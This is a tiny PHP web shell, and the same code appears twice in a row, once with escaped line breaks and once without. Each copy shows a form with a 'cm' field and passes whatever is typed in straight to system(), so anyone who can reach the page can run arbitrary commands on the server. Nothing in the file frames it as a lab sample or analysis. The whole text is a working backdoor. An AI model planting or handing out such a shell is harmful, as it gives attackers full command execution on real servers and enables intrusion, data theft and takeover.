<?php
echo "<form method=\"get\">\r\n<input type=\"text\" name=\"cm\">\r\n<button type=\"submit\">Submit</button>\r\n</form>";
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}
<?php
echo '<form method="get">
<input type="text" name="cm">
<button type="submit">Submit</button>
</form>';
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}
?>